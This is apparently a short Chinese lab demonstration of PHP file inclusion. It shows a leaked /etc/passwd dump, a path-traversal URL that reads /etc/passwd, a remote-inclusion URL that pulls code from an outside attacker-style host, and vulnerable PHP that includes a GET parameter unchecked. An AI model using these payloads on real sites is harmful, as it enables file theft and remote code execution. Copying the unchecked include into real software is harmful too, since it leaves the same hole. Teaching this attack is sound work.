文件包含演示-本地文件包含

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin

从PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On的。
远程文件包含,需要配置allow_url_include,allow_url_fopen为on

http://www.nanhack.com:8888/include/index.php?page=http://www.hacker.wang/php.txt

包含ect/passwd

http://www.nanhack.com:8888/include/index.php?page=../../../../etc/passwd

# 程序源码如下:
<?php if(isset($_GET['page'])){
$path = $_GET['page'];
    include $path;
}else{
    include "home.php";
}
?>